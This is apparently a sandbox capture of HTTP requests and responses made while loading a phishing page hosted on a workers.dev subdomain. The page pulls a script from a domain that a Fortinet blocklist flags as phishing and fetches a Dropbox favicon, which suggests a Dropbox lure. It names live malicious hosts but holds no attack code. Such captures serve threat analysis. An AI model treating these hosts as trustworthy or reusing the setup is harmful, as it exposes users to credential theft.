Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://late-rice-0fc8.regan21.workers.dev
Connection: keep-alive
Referer: https://fiekcndtitikaps.web.app/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.163
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 14680
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Mon, 26 Sep 2022 20:05:03 GMT
expires: Tue, 26 Sep 2023 20:05:03 GMT
cache-control: public, max-age=31536000
age: 180368
last-modified: Mon, 17 Apr 2017 21:22:29 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 14680, version 1.0\012- data
Size:   14680
Md5:    aa3e87117db2b3c27801cbb8dfe40c6c
Sha1:   a1118c5362e2dd34ac5cf34e135042c3ad827b58
Sha256: 36eea693231e39de5efd21718fea8fc98005b580b264522ffbef360939b8d75c
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 28 Sep 2022 22:11:11 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /?bbre=zxofuzxsa HTTP/1.1 
Host: late-rice-0fc8.regan21.workers.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

                                         
                                         172.67.195.141
HTTP/2 200 OK
content-type: text/html;charset=UTF-8
                                        
date: Wed, 28 Sep 2022 22:11:08 GMT
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=m2arXXlLgXn1f4eFbmFJeV8AUQa86is6CDcdGVhE7sDkmQstiJyoI1Rdk3%2BgtfSG%2FWB2gnn6AFeGR%2Frg00OdHcjkKkzFaLAajDzNvGcqV0C7XFJzPYMti2nJ0Nr%2F4sZb0%2BkQPWweTu%2FLY7%2FKtFAQMPJhjMOK"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
vary: Accept-Encoding
server: cloudflare
cf-ray: 751fd024f90d1c12-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /622247eee66111503f639bad.js HTTP/1.1 
Host: rikkachi.quatiappcn.pw
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         172.67.211.252
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Wed, 28 Sep 2022 22:11:09 GMT
access-control-allow-origin: rikkachi.quatiappcn.pw
access-control-allow-methods: GET, POST, DELETE, PUT, PATCH, OPTIONS
access-control-allow-headers: authkey , authvalue, Authorization, User-Agent, Keep-Alive, Content-Type, X-Requested-With
access-control-allow-credentials: true
cache-control: no-cache, must-revalidate
pragma: no-cache
expires: Mon, 25 Jul 1997 05:00:00 GMT
x-cache-status: MISS
cf-cache-status: DYNAMIC
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PHV4PvsS7aHU%2BiF3AbrlNVfLbtxFPXfxPoI3F74W4vGGLUvxh59hcMjEvHyw104cJqfREFcTCRiUUn3a8i3kQ1Iy1bT2SE%2BEsJqhv%2BRGswlvdANtZ52GmM8A34BE7hZ%2FYuU4lQzNhiV4"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 751fd02b3b781c0e-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Phishing
                                        
                                            GET /lodash@4.17.4/lodash.min.js HTTP/1.1 
Host: unpkg.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         104.16.122.175
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Wed, 28 Sep 2022 22:11:10 GMT
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Sat, 31 Dec 2016 22:32:41 GMT
etag: W/"11c44-YN5uQ8SiwzJidasS1P/ZCyWCruk"
via: 1.1 fly.io
fly-request-id: 01GBYCMTF687FP3DDV37WZAZ1G-ams
cf-cache-status: HIT
age: 2304570
vary: Accept-Encoding
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
server: cloudflare
cf-ray: 751fd0368ef8b521-OSL
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /vue@2.6.11/dist/vue.min.js HTTP/1.1 
Host: unpkg.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         104.16.122.175
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Wed, 28 Sep 2022 22:11:10 GMT
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Sat, 26 Oct 1985 08:15:00 GMT
etag: W/"16de6-q9I58ClmstMksFEsIDvbr4Kk7Xo"
via: 1.1 fly.io
fly-request-id: 01F3YJWBVX7XM3TNM40T3F4AWD
cf-cache-status: HIT
age: 13710827
vary: Accept-Encoding
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
server: cloudflare
cf-ray: 751fd0343d38b521-OSL
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /static/images/favicon-vflUeLeeY.ico HTTP/1.1 
Host: cfl.dropboxstatic.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         104.16.100.29
HTTP/2 200 OK
content-type: image/x-icon
                                        
date: Wed, 28 Sep 2022 22:11:12 GMT
last-modified: Wed, 09 Feb 2022 20:16:01 GMT
vary: Accept-Encoding
etag: W/"62042101-183"
x-dropbox-request-id: e7d47992885698262afdaa7451e56ffe
x-content-type-options: nosniff
expires: Thu, 31 Dec 2037 23:55:55 GMT
cache-control: max-age=315360000, public, immutable
access-control-allow-origin: *
timing-allow-origin: https://www.dropbox.com
cf-cache-status: HIT
age: 23940
server: cloudflare
cf-ray: 751fd0406fc0b515-OSL
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---